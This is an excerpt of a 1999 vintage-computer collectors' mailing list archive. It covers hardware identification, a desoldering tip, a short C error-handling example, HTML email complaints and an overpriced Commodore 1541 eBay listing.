Heaths or Zeniths on the list. You sound like a welcome resource. I have a luggable ZFA 162 with the pop-up fdds that I treasure more than my Kaypros or other portables. I think H/Z were incredibly innovative in there earlier incarnation. The military contract that was initiated was IMHO one of the few times the US military brass didn't fuck up, but of course history eclipsed them because they did nothing about their advantage and MS and IBM peddled their shit to the masses effectively and H/Z became history. ciao larry lwalker@interlog.com From lwalker at mail.interlog.com Fri Jan 15 10:22:56 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:09 2005 Subject: OT Re: Reading age of 3 (was: Re: Computers for children) In-Reply-To: <802566F9.0048F4A2.00@WESTD90.pgen.co.uk> Message-ID: <199901152332.SAA13138@smtp.interlog.com> On 14 Jan 99 at 13:32, Philip.Belben@pgen.com wrote: > AAAAugh! You had a narrow escape. The arrogance of educators talking > about "the right way" to teach a child, when theories as to what this is > seem to change every three years, is amazing. I recall in 1975 (I think - > I was only about 8 at the time) we knew a retired teacher who sometimes did > supply work for a local school. She was given a remedial class to look > after, and started teaching them by traditional methods. Result, in a few > weeks they were ahead of the main class. Our retired friend quite > reasonably asked why the school couldn't adopt such methods as a matter of > course, and apparently they were "not allowed to". She could get away with > it since she was retired and not a permanent employee, or something. SNIP > Two shorter comments to finish. > > I too have heard that playing music to very small children (age <2) helps > them develop intelligence. The music has to be of the sort that takes some > thought to listen to, of course. Mozart, Beethoven etc. are good choices, > as are some of the better-thought-out pop styles, but minimal music or > thud-thud-thud pop music are probably not. (Sorry, as a mainly classical > listener, I don't know the correct terms for the pop music styles) > I was reading when I was 5 and all 4 of my sons could read before they entered school. Unfortunately this gave them no leg up because except for a few teachers they were bored with the curicullum and focussed out the window. I even had one teacher complain that one of my smart-assed sons would answer the questions correctly but the answers were not the ones she had designed the questions for but were geared for laughter. Sounds to me that he was more intelligent than she was. The education system is designed in general to provide clones and cogs for the corporate machine not to enhance the intelligence of the learners. If I was doing it again, I would do it a home. I was also able to sing harmony when I was 4 years old and I remember it as having to twist my mouth in a certain way. I believe all of it was due to my mothers continual play of the piano and encouragement to join in and sing. All my sons as well as my ex have been musical. The family input is the important thing as evidenced in the old guilds in medieval times. Their problem was their exclusionary nature which excluded many of those with "natural abilities" since not all apprentices will become Mozarts or Rembrants, But the present educational system like our TV is geared to mediocrity and training in obliging corporate systems requirements. ciao larry lwalker@interlog.com From lwalker at mail.interlog.com Fri Jan 15 10:22:50 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:09 2005 Subject: classic computer stuff in Scientific American In-Reply-To: <199901142128.NAA10585@daemonweed.reanimators.org> References: "Lawrence Walker"'s message of Wed, 13 Jan 1999 19:18:38 +0000 Message-ID: <199901152332.SAA13172@smtp.interlog.com> On 14 Jan 99 at 13:28, Frank McConnell wrote: > "Lawrence Walker" wrote: > > I have that edition in my collection. I have 2 other S.A.s > > that have micro themes. The Nov. 65 issue, one of the articles is > > by Hao Wang , and the Sept 66 which is all computer related > > articles > > And I think Scientific American re-published the September 1966 issue > as a book, "Information". > > -Frank McConnell > That was the theme of the issue, Information Technology . I treasure it more than the 1977 one, which is also great. Another one was the April 17 1980 "Special Commemorative Issue " of Electronics , which was basicly a restricted "trade" magazine. It's a massive 650 page issue which covered 50 years of electronics history. Unless it was also published as a book, there is nothing that can compare. An incredible source of electonics history. At the moment is in a sideways milk crate with other Electronics and my old Bytes and other mags and I must treat them more protectively if they are to be preserved. Mea culpa. But it's nice to just reach down and spend a couple of hours with computer history. ciao larry lwalker@interlog.com From lwalker at mail.interlog.com Fri Jan 15 10:22:54 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:10 2005 Subject: Classic Home Console Computers to Trade/Sell/Buy In-Reply-To: <000d01be407f$37c600a0$ef5dd3cf@markr.calweb.com> Message-ID: <199901152332.SAA13072@smtp.interlog.com> On 15 Jan 99 at 4:04, Mark Randall wrote: > Hi Everyone, > > I'm new to this list. I've been collecting classic home console computers > for about two years now and have some items to trade and some things I'm > looking for (either trade or buy). You can check out my collection on my > website at http://www.markrandall.com. > > > Regards, > > Mark Randall > Play Incorporated Hi Mark nice to see another Micro collecter on the list. Don't know if it is on archive but you should check out the thread "how many computers ....." You'll find many BIG IRON and mini enthusiasts on the list as well as home console collectors but somehow we all get along despite an occasional flamewars or off-topic threads that run to several 100 messages. Join in or ignore them. Seems like a nice collection. Except for an extra 800 xl or something I've forgotten I have extra, I can't think of a trade, except an extra IIe for the GS but then I have to think of shipping. Oh well, welcome, you'll find this the most knowledgeable source of computer info ANYWHERE. ciao larry lwalker@interlog.com From lwalker at mail.interlog.com Fri Jan 15 10:22:57 1999 From: lwalker at mail.interlog.com (Lawrence Walker) Date: Sun Feb 27 18:40:10 2005 Subject: Fanware In-Reply-To: <199901151752.RAA03517@nixpbe.pdb.sni.de> References: <000001be3f63$53b90860$604ffea9@gaz> Message-ID: <199901152332.SAA13162@smtp.interlog.com> On 15 Jan 99 at 18:53, Hans Franke wrote: > > > >Hey, don't forget that $100 Atari Belt buckle (only one at > > >that price!!!) :-) > > > Perhaps you would be interested in a once in a lifetime offer of an Amiga > > CD32 umbrella (never used), or a chocolate tea pot, or... > > I may offer a basket of Commodore candys - in original case, never used. > > :))) > > BTW: Are there some people collecting merchandise/advertizeing > gimicks of the computer age ? > > Gruss > H. Certainly. I have a bunch of Atari and Commodore ad-blurbs that have nothing to do with furthering my knowledge of the machines. For example I have a lovely glossy for an Atari 810 that I treasure. Sure I keep the machines because I like them, but if in my older "old age" I need money their value will be enhanced for younger generations of collectors should I have to off them before I die. And of course the Atari 2600 t-shirts have been a big market item for some time, and the Atari Riot group has made Atari items popular. Apple could be next but I have more trouble viewing the A-II as socially dangerous which it of course was if you view it sociologicly. ciao larry lwalker@interlog.com From rigdonj at intellistar.net Fri Jan 15 19:43:44 1999 From: rigdonj at intellistar.net (Joe) Date: Sun Feb 27 18:40:10 2005 Subject: HP 150 was Re: Questions on today's acquisitions In-Reply-To: <199901152316.PAA07621@gull.prod.itd.earthlink.net> Message-ID: <3.0.1.16.19990115194344.4bf76b56@intellistar.net> Tom, Yeah, I can look up the number. Is it the original 150 or the later 150-II (aka Touch Screen II). The later ones are VERY boxy looking. The part that looks like a terminal is the complete computer (minus drives and printer). The 9133 is a hard/floppy drive combo, it's not an expansion chassis. There are a couple of expansion slots in the back of the 150. There's a opening in the top of the unit above the monitor for an optional thermal printer. But almost any printer with a HP-IB interface will work on the 150. Joe At 06:17 PM 1/15/99 -0500, you wrote: >Made a few purchases today, and have questions on them all: > >HP 150 with an HP 9133 expansion chassis. Anybody know what kind of >keyboard this takes? It has a 6 prong telephone style connector. > > >Texas Instruments Compact Computer 40. This is a lot like the TRS-80 >PC-4 in appearance, but a bit bigger. It has BASIC in ROM and a >connector for cartridges. Is there anything actually useful for this? >THe keyboards too small to do any actual word processing. > > >MPP-1150 Parallel Printer Interface by Supra Corporation. This has a >parallel connector on the one end and a strange 13 pin connector which >looks something like this: > _______ >|_______| >/_______\ >on the other end. Does anybody know what computer this goes to? > > >And lastly, I have a single IC in a bag labeled "printer". The chip says >"NEC RI8739-I35 D2332C 374". Does anybody know what this is? Anybody >want it? > >Tom Owad > >-- >Sysop of Caesarville Online >Client software at: > > From allisonp at world.std.com Fri Jan 15 17:44:47 1999 From: allisonp at world.std.com (Allison J Parent) Date: Sun Feb 27 18:40:10 2005 Subject: OT? On Programming (was: Re: Computers for children) Message-ID: <199901152344.AA19764@world.std.com> I'm confident that's a typo (probably meant $85). I've sent mail to the seller. ----- Original Message ----- From: PCTech To: Discussion re-collecting of classic computers Sent: Friday, January 15, 1999 3:18 PM Subject: Commodore 1541 on ebay for $8500.00 You gotta go see this i cant believe it $8500.00 -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/fe858da5/attachment.html From erd at infinet.com Fri Jan 15 18:29:55 1999 From: erd at infinet.com (Ethan Dicks) Date: Sun Feb 27 18:40:10 2005 Subject: Computers for children In-Reply-To: <3.0.16.19990115141143.4a57cc5e@ricochet.net> from "Uncle Roger" at Jan 15, 99 03:16:47 pm Message-ID: <199901160029.TAA01879@user2.infinet.com> > >and while loops (I rarely use for's), but C really suffers from a lack of > >a general error trapping mechanism that one can invoke to break out of > >loops as required. Sometimes I think goto's are the answer but I can > >never find an appropriate way to implement it. > > errflag := 0 /* is it := in C to assign a value? */ No. That's BLISS and BCPL, among others, IIRC. Drop the colon > DO WHILE variable < end AND errflag = 0 { > do stuff > variable++ /* I think that increments a variable */ Yes. > IF error THEN > errflag := 1 > ENDIF > LOOP > > IF errflag = 1 THEN > do error processing > ENDIF > > No, I'm not a C programmer (nor do I play one on TV). Well... being a "perfessional", let me try... Here's one way to do it that I have personally used: if (my_function()) do error processing my_function() { /* I prefer for to while. It's all right here to see and debug */ for (variable=0; variable < end; variable++) { do some work if (some error thing) return 1; } return 0; } If you insist on keeping the code in the higher-level function, there's always the "break" statement. In 15 years of C programming, I have yet to use a single goto. Yes, it can simplify exception processing, but I've always found that if you need a goto to simplify things, you didn't design it well enough the first time around. -ethan From pctech at davidbowie.com Fri Jan 15 18:31:51 1999 From: pctech at davidbowie.com (PCTech) Date: Sun Feb 27 18:40:10 2005 Subject: Commodore 1541 on ebay for $8500.00 Message-ID: <001401be40e7$9d8f7480$b4a8adce@pctech.davidbowie.com> Even at $85.00 thats a rip off. I have one that i would consider in mint condition with all the parts manuals and original box I got it for $12.95.They had that Osborne 1 on there for $5000.00 and i just got one for free.If these people dont want the stuff let the folks who want it to restore it or whatever HAVE IT. -----Original Message----- From: Joseph S. Barrera III To: Discussion re-collecting of classic computers Date: Friday, January 15, 1999 4:25 PM Subject: Re: Commodore 1541 on ebay for $8500.00 I'm confident that's a typo (probably meant $85). I've sent mail to the seller. ----- Original Message ----- From: PCTech To: Discussion re-collecting of classic computers Sent: Friday, January 15, 1999 3:18 PM Subject: Commodore 1541 on ebay for $8500.00 You gotta go see this i cant believe it $8500.00 -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/191e6140/attachment.html From ard at p850ug1.demon.co.uk Fri Jan 15 18:12:46 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:10 2005 Subject: Questions on today's acquisitions In-Reply-To: <199901152316.PAA07621@gull.prod.itd.earthlink.net> from "Tom Owad" at Jan 15, 99 06:17:18 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3732 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/d6dc521e/attachment.ksh From kurtkilgor at bigfoot.com Fri Jan 15 18:35:36 1999 From: kurtkilgor at bigfoot.com (Max Eskin) Date: Sun Feb 27 18:40:10 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) Message-ID: <199901160036.QAA18090@geocities.com> > silly assumptions about the machine (MS-DOS software often assumes that > the floppy drive is A: and the hard disk is C: - and refuses to let you > change this!). Or that misdetect the hardware I have (my enhanced CGA In fact, I've always found the limitations of DOS and PCs curious. Does anyone know why: *They refuse to boot from anything but A: or C: *DOS FDISK refuses to create more than 1 primary partition *DOS can't find an ATAPI cd-rom without a driver, even though it's an IDE device *Why we are limited to 2 floppy drives in DOS From cmcmanis at freegate.com Fri Jan 15 18:45:58 1999 From: cmcmanis at freegate.com (Chuck McManis) Date: Sun Feb 27 18:40:10 2005 Subject: Desoldering (was Re: Computers for children (soldering) In-Reply-To: References: <199901150544.XAA13069@wildride.netads.com> Message-ID: <4.1.19990115164215.00921cd0@mailhost.hq.freegate.com> At 06:50 PM 1/15/99 +0000, Tony wrote: >I'd love a proper vacuum desolder station, but it's rather out of my >price range, and not essential... So would I, however a while back (5 years?) someone on sci.electronics reccomended the desoldering iron that Radio Shack (Tandy in your woods I believe) sold. This $8.99 wonder was basically a soldering iron with a bulb on top and a pipe to the tip. This thing works _great_! I the soldapult's would always fire too late or I'd take to long to get it on to the joint and that would be a problem. Not the RS tool. I push the bulb, stick the lead in the suction hole, when the solder melts and the tool settles down to the PCB you quickly let go your thumb and poof! quite clean hole with the lead free standing in the middle of it. I've pulled 14 pin ICs using this thing and kept both the board and chip intact! --Chuck From ckaiser at oa.ptloma.edu Fri Jan 15 18:57:47 1999 From: ckaiser at oa.ptloma.edu (Cameron Kaiser) Date: Sun Feb 27 18:40:10 2005 Subject: Apple Calmpute In-Reply-To: <199901152332.SAA13064@smtp.interlog.com> from "Lawrence Walker" at Jan 15, 99 04:22:53 pm Message-ID: <199901160057.QAA13482@oa.ptloma.edu> A non-text attachment was scrubbed... Name: not available Type: text Size: 897 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/ea0137f7/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 15 18:50:26 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:10 2005 Subject: Classic Home Console Computers to Trade/Sell/Buy In-Reply-To: <199901152332.SAA13072@smtp.interlog.com> from "Lawrence Walker" at Jan 15, 99 04:22:54 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 648 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/2c6cb3d1/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 15 19:12:06 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:10 2005 Subject: Computers for children (soldering) In-Reply-To: <3.0.16.19990115135020.4a57fafc@ricochet.net> from "Uncle Roger" at Jan 15, 99 03:16:44 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 4043 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/8b55f84b/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 15 19:13:54 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:10 2005 Subject: Commodore 1541 on ebay for $8500.00 In-Reply-To: <000f01be40dd$4d4266e0$e5c7adce@pctech.davidbowie.com> from "PCTech" at Jan 15, 99 03:18:01 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 158 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/4940c090/attachment.ksh From ard at p850ug1.demon.co.uk Fri Jan 15 19:21:55 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:10 2005 Subject: Desoldering (was Re: Computers for children (soldering) In-Reply-To: <4.1.19990115164215.00921cd0@mailhost.hq.freegate.com> from "Chuck McManis" at Jan 15, 99 04:45:58 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1355 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/eb0f46ed/attachment.ksh From joebar at microsoft.com Fri Jan 15 19:28:36 1999 From: joebar at microsoft.com (Joseph S. Barrera III) Date: Sun Feb 27 18:40:10 2005 Subject: Commodore 1541 on ebay for $8500.00 Message-ID: <068f01be40ef$8a1e5e40$11d53d9d@JOEBAR> Granted, but it's a much more *mundane* rip-off. ----- Original Message ----- From: PCTech To: Discussion re-collecting of classic computers Sent: Friday, January 15, 1999 4:31 PM Subject: Re: Commodore 1541 on ebay for $8500.00 Even at $85.00 thats a rip off. I have one that i would consider in mint condition with all the parts manuals and original box I got it for $12.95.They had that Osborne 1 on there for $5000.00 and i just got one for free.If these people dont want the stuff let the folks who want it to restore it or whatever HAVE IT. -----Original Message----- From: Joseph S. Barrera III To: Discussion re-collecting of classic computers Date: Friday, January 15, 1999 4:25 PM Subject: Re: Commodore 1541 on ebay for $8500.00 I'm confident that's a typo (probably meant $85). I've sent mail to the seller. ----- Original Message ----- From: PCTech To: Discussion re-collecting of classic computers Sent: Friday, January 15, 1999 3:18 PM Subject: Commodore 1541 on ebay for $8500.00 You gotta go see this i cant believe it $8500.00 -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/80c4a361/attachment.html From healyzh at aracnet.com Fri Jan 15 19:35:25 1999 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:40:10 2005 Subject: Commodore 1541 on ebay for $8500.00 In-Reply-To: <059b01be40e4$6f146000$11d53d9d@JOEBAR> Message-ID: Hey, that's impressive. By default my e-mail program which can handle this garbage displayed a blank screen. Simply put people, _PLEASE_ use plain text. I'm quoting the garbage so you can see the garbage you're sending. 34 lines of crap for 1 line of message, that's MicroSlop for you. Zane >"-//W3C//DTD W3 HTML//EN"> > >http-equiv=Content-Type> > > > > >
I'm confident that's a typo (probably meant >$85). >I've sent mail to the seller.
>
style="BORDER-LEFT: #000000 2px solid; MARGIN-LEFT: 5px; MARGIN-RIGHT: >0px; PADDING-LEFT: 5px; PADDING-RIGHT: 0px"> >
----- Original Message -----
>
style="BACKGROUND: #e4e4e4; FONT: 10pt arial; font-color: >"black"">From: > title=pctech@davidbowie.com>PCTech >
> >
Sent: Friday, January 15, 1999 3:18 > PM
>
Subject: Commodore 1541 on ebay for > $8500.00
>

>
You gotta go see this i cant believe it > $8500.00
> > | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.dragonfire.net/~healyzh/ | From jpero at cgocable.net Fri Jan 15 19:37:50 1999 From: jpero at cgocable.net (jpero@cgocable.net) Date: Sun Feb 27 18:40:10 2005 Subject: Commodore 1541 on ebay for $8500.00 In-Reply-To: References: <059b01be40e4$6f146000$11d53d9d@JOEBAR> Message-ID: <199901160136.UAA06516@mail.cgocable.net> Date sent: Fri, 15 Jan 1999 17:35:25 -0800 Send reply to: classiccmp@u.washington.edu From: "Zane H. Healy" To: "Discussion re-collecting of classic computers" Subject: Re: Commodore 1541 on ebay for $8500.00 > Hey, that's impressive. By default my e-mail program which can handle this > garbage displayed a blank screen. Simply put people, _PLEASE_ use plain > text. I'm quoting the garbage so you can see the garbage you're sending. > 34 lines of crap for 1 line of message, that's MicroSlop for you. > > Zane Yeah, please do kill that junk too. I'm getting too many funny symbols in my new email listing in my pegasus mail which pops up different message windows (this also disables delete and sometimes prev and next buttons) from standard message window Now I don't waste on this and they get killed on sight unread. Jason D. From ard at p850ug1.demon.co.uk Fri Jan 15 19:33:03 1999 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:40:10 2005 Subject: Merced - and the ol' Unix story (was Re: OT, but info needed: RAM uprade) In-Reply-To: <199901160036.QAA18090@geocities.com> from "Max Eskin" at Jan 15, 99 07:35:36 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 2790 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/19990116/f561ad07/attachment.ksh From joebar at microsoft.com Fri Jan 15 19:45:21 1999 From: joebar at microsoft.com (Joseph S. Barrera III) Date: Sun Feb 27 18:40:10 2005 Subject: formatting gunk [Re: Commodore 1541 on ebay for $8500.00] Message-ID: <071001be40f1$e1088300$11d53d9d@JOEBAR> Sorry. I do have plain text set, but sometimes the mailer thinks it knows better than I do how my mail should be sent. Excuse me while I send off some nasty internal email about this issue (again). - Joe From meo at netads.com Fri Jan 15 19:54:04 1999 From: meo at netads.com (Miles O'Neal) Date: Sun Feb 27 18:40:10 2005 Subject: OT Re: Reading age of 3 (was: Re: Computers for children) In-Reply-To: <199901152332.SAA13138@smtp.interlog.com> from "Lawrence Walker" at Jan 15, 99 04:22:56 pm Message-ID: <199901160154.TAA19169@wildride.netads.com> Lawrence Walker said... | |I was reading when I was 5 and all 4 of my sons could read before they entered |school. Unfortunately this gave them no leg up because except for a few |teachers they were bored with the curicullum and focussed out the window. The school system's inabaility to deal with anything other than the mean (which they insist on defining) is one of the primary reasons home schooling has really taken off the last few years. -Miles From pctech at davidbowie.com Fri Jan 15 19:47:57 1999 From: pctech at davidbowie.com (PCTech) Date: Sun Feb 27 18:40:10 2005 Subject: Commodore 1541 on ebay for $8500.00 Message-ID: <001c01be40f2$3eeaef80$52c6adce@pctech.davidbowie.com> Sorry about the HTML! I've been messing with the system and forgot to put it back on plain text. -----Original Message----- From: Joseph S. Barrera III To: Discussion re-collecting of classic computers Date: Friday, January 15, 1999 5:29 PM Subject: Re: Commodore 1541 on ebay for $8500.00 Granted, but it's a much more *mundane* rip-off. ----- Original Message ----- From: PCTech To: Discussion re-collecting of classic computers Sent: Friday, January 15, 1999 4:31 PM Subject: Re: Commodore 1541 on ebay for $8500.00 Even at $85.00 thats a rip off. I have one that i would consider in mint condition with all the parts manuals and original box I got it for $12.95.They had that Osborne 1 on there for $5000.00 and i just got one for free.If these people dont want the stuff let the folks who want it to restore it or whatever HAVE IT. -----Original Message----- From: Joseph S. Barrera III To: Discussion re-collecting of classic computers Date: Friday, January 15, 1999 4:25 PM Subject: Re: Commodore 1541 on ebay for $8500.00 I'm confident that's a typo (probably meant $85). I've sent mail to the seller. ----- Original Message ----- From: PCTech To: Discussion re-collecting of classic computers Sent: Friday, January 15, 1999 3:18 PM Subject: Commodore 1541 on ebay for $8500.00 You gotta go see this i cant believe it $8500.00 -------------- next part -------------- An HTML attachment was scrubbed... URL: http://www.classiccmp.org/pipermail/cctalk/attachments/19990115/3cb28204/attachment.html From red at bears.org Fri Jan 15 19:54:42 1999 From: red at bears.org (R. Stricklin (kjaeros)) Date: Sun Feb 27 18:40:10 2005 Subject: Almost OT: How can that be? In-Reply-To: Message-ID: On Fri, 15 Jan 1999, Doug Yowza wrote: > OK, so where can we see the images of the machines in your collection, and With the rest of my site, when I finish it, which will probably be around June 2007 at the rate I've been going. > where can we get the software that automagically cleans up our own images? Currently it only works with .rgb format images (SGI tools format). I'd imagine this isn't too handy for too many people; what one or two image formats (not JPEG) would you all recommend extending this to if I were to make it more widely available? I'm terribly out of touch with what formats are convenient for use with "mainstream" tools. -- ok r. r e d @ b e a r s . o r g =========================== [ urs longa | vita brevis ] From wpe101 at banet.net Fri Jan 15 19:57:56 1999 From: wpe101 at banet.net (Will Emerson) Date: Sun Feb 27 18:40:10 2005 Subject: Slight OT| Ebay anti fraud measures Message-ID: <369FF224.B7634332@banet.net> Cnet.com's e-commerce area currently has an article about new anti-fraud measures Ebay plans to implement. Will From joebar at microsoft.com Fri Jan 15 19:57:55 1999 From: joebar at microsoft.com (Joseph S. Barrera III) Date: Sun Feb 27 18:40:10 2005 Subject: Commodore 1541 on ebay for $8500.00 Message-ID: <073201be40f3$a2e17df0$11d53d9d@JOEBAR> > From: PCTech > Sorry about the HTML! I've been messing with the system and forgot to put it back on plain text. You're still sending HTML. And when I reply to an HTML message, my mailer defaults to HTML. Sigh. If you want to debug turning off HTML, you can send mail to me and I'll let you know when you have it turned off. - Joe From tomowad at earthlink.net Fri Jan 15 20:14:07 1999 From: tomowad at earthlink.net (Tom Owad) Date: Sun Feb 27 18:40:10 2005 Subject: Questions on today's acquisitions Message-ID: <199901160213.SAA26895@avocet.prod.itd.earthlink.net> >::Texas Instruments Compact Computer 40. This is a lot like the TRS-80 >::PC-4 in appearance, but a bit bigger. It has BASIC in ROM and a >::connector for cartridges. Is there anything actually useful for this? >::THe keyboards too small to do any actual word processing. > >Got a picture? You can see a picture of one (not mine) at . Tom Owad -- Sysop of Caesarville Online Client software at: From tomowad at earthlink.net Fri Jan 15 21:00:16 1999 From: tomowad at earthlink.net (Tom Owad) Date: Sun Feb 27 18:40:10 2005 Subject: Questions on today's acquisitions Message-ID: <199901160259.SAA18427@avocet.prod.itd.earthlink.net> >As to the keyboard, the answer is a custom one... I have the HP150 >TechRef here, and if the keyboard connector is 6 pin (and not HP-HIL), >then it's an original HP150. Just to confirm, you have a CRT that doesn't >tilt in the case, and 2 expansion slots horizontally at the back, yes? Well... I wouldn't say it tilts _in_ the case, but it does have a tiltable stand. There are two horizontal expansion slots on the back - and - one of them has an HP-HIL interface card in it. >I have the schematic of the keyboard, and you're in luck. There's nothing >remotely custom in there. Not even a microcontroller or a ROM. It's all >plain 4000-series CMOS running at 12V... I'll respond to this part in the morning. :-) Tom Owad -- Sysop of Caesarville Online Client software at: From amirault at epix.net Fri Jan 15 21:47:30 1999 From: amirault at epix.net (John Amirault) Date: Sun Feb 27 18:40:10 2005 Subject: Commodore 1541 on ebay for $8500.00 References: <000f01be40dd$4d4266e0$e5c7adce@pctech.davidbowie.com> Message-ID: <36A00BD2.46750323@epix.net> HI, I went, I saw, I don't beleive it either. When I was looking at it there were ZERO bids, I wonder why. John Amirault PCTech wrote: > You gotta go see this i cant believe it $8500.00 From joebar at microsoft.com Fri Jan 15 21:49:41 1999 From: joebar at microsoft.com (Joseph S. Barrera III) Date: Sun Feb 27 18:40:10 2005 Subject: Commodore 1541 on ebay for $8500.00 Message-ID: <002001be4103$3f50f490$11d53d9d@JOEBAR> >I went, I saw, I don't beleive it either. When I was looking at it there >were ZERO bids, I wonder why. That's strange... I entered a bid of $12500.00 about half an hour ago. Damn, I hate it when eBay drops my bids like that. - Joe From joebar at microsoft.com Fri Jan 15 21:57:24 1999 From: joebar at microsoft.com (Joseph S. Barrera III) Date: Sun Feb 27 18:40:10 2005 Subject: Kaypros and Osbornes Message-ID: <002801be4104$537677a0$11d53d9d@JOEBAR> Are Osbornes really that much harder to find than Kaypros? eBay currently seems awash in Kaypros for under $30... - Joe From rhblake at bigfoot.com Fri Jan 15 22:21:08 1999 From: rhblake at bigfoot.com (Russ Blakeman) Date: Sun Feb 27 18:40:10 2005 Subject: Commodore 1541 on ebay for $8500.00 References: <000f01be40dd$4d4266e0$e5c7adce@pctech.davidbowie.com> <36A00BD2.46750323@epix.net> Message-ID: <36A013B3.24901A29@bigfoot.com> I say we flood this person with "are you stoned" messages, whether direct or anonymous. Seems the online auction market is being loaded up with these dilberts that (I guess) are looking for the economically retarded and figure they'll get rich at least one time, like playing a Vegas machine. There are tons of other 1541's always on eBay, yo have to wonder if this is a prank or what. John Amirault wrote: > HI, > I went, I saw, I don't beleive it either. When I was looking at it there > were ZERO bids, I wonder why. > John Amirault > > PCTech wrote: > > > You gotta go see this i cant believe it $8500.00 From dastar at ncal.verio.com Fri Jan 15 22:23:04 1999 From: dastar at ncal.verio.com (Sam Ismail) Date: Sun Feb 27 18:40:10 2005 Subject: Fanware In-Reply-To: <3.0.16.19990115143720.4987617e@ricochet.net> Message-ID: On Fri, 15 Jan 1999, Uncle Roger wrote: > from SF. Can't even be bothered to call. (And those that were at VCF got > a chance to meet my dad -- not the most spry fellow, but a nice guy.)) I agree. The elder Sinasohn is a righteous dood! Sellam Alternate e-mail: dastar@siconic.com ------------------------------------------------------------------------------ Always being hassled by the man. Coming in 1999: Vintage Computer Festival 3.0 See http://www.vintage.org/vcf for details! [Last web site update: 12/27/98] From amirault at epix.net Fri Jan 15 22:27:44 1999 From: amirault at epix.net (John Amirault) Date: Sun Feb 27 18:40:10 2005 Subject: Kaypros and Osbornes References: <002801be4104$537677a0$11d53d9d@JOEBAR> Message-ID: <36A01540.762C0BA5@epix.net> Joeseph, I was @ my local Salvation army Store and bought an Osborne and passed one up the next week. I paid about $5 for it and paid about $12 for software from this group. The trouble I am now having is a BOOT ERROR. I sounds to me as if the A drive is not moving at all. I am going to take the front off again and clean the disk drive head rails and lube them I hope this works. Let me know if you want me to keep my eyes open for another Osborne 1. John amirault Joseph S. Barrera III wrote: > Are Osbornes really that much harder to find than Kaypros? eBay currently > seems awash in Kaypros for under $30... > > - Joe From yowza at yowza.com Fri Jan 15 22:27:19 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:40:10 2005 Subject: Kaypros and Osbornes In-Reply-To: <002801be4104$537677a0$11d53d9d@JOEBAR> Message-ID: On Fri, 15 Jan 1999, Joseph S. Barrera III wrote: > Are Osbornes really that much harder to find than Kaypros? eBay currently > seems awash in Kaypros for under $30... eBay does not reflect reality, man. What gets listed is a function of what some "picker" decides looks interesting when they trip over it at the local thrift. A big boxy aluminum computer apparently looks more interesting than a big boxy plastic computer.... Both machines were very popular in their time and have no collector value beyond whatever sentimental value they have for you. -- Doug From yowza at yowza.com Fri Jan 15 22:31:34 1999 From: yowza at yowza.com (Doug Yowza) Date: Sun Feb 27 18:40:10 2005 Subject: Commodore 1541 on ebay for $8500.00 In-Reply-To: <36A013B3.24901A29@bigfoot.com> Message-ID: On Fri, 15 Jan 1999, Russ Blakeman wrote: > There are tons of other 1541's always on eBay, yo have to wonder if this is > a prank or what. Of course it's a prank, and not a very good one. If it were a serious looney, do you think he would put "serious collectors only" in his listing? Why would he care who pays $8500 for it? -- Doug From mbg at world.std.com Fri Jan 15 22:52:47 1999 From: mbg at world.std.com (Megan) Date: Sun Feb 27 18:40:10 2005 Subject: Journalism student looking for people with old computer collections Message-ID: <199901160452.AA12475@world.std.com> She's looking for people in the Ottowa area -- contact her directly - - - - - I'm a journalism student working on my final project before graduation: a documentary. I'm looking into the world of old computers as a possible subject. I'm specifically interested in meeting anyone who has a collection, or one very special old computer. Anyone interested in showing off their peices of computer history, please reply to this message. Sally Goldberg Journalism IV Carleton University -- Sally Goldberg 4th Year Journalism, Carleton University ch989@freenet.carleton.ca sgolber@chat.carleton.ca - - - - - From roblwill at usaor.net Sat Jan 16 01:49:16 1999 From: roblwill at usaor.net (Jason Willgruber) Date: Sun Feb 27 18:40:10 2005 Subject: Anyone have an extra IBM 5155 laying around?? Message-ID: <01be4124$b7523a00$6c8ea6d1@the-general> Hi! Does anyone have, or know where I can get an IBM 5155 Portable computer? I'm not necessarily concerned about originally, just as long as the monitor, P/S, and keyboard 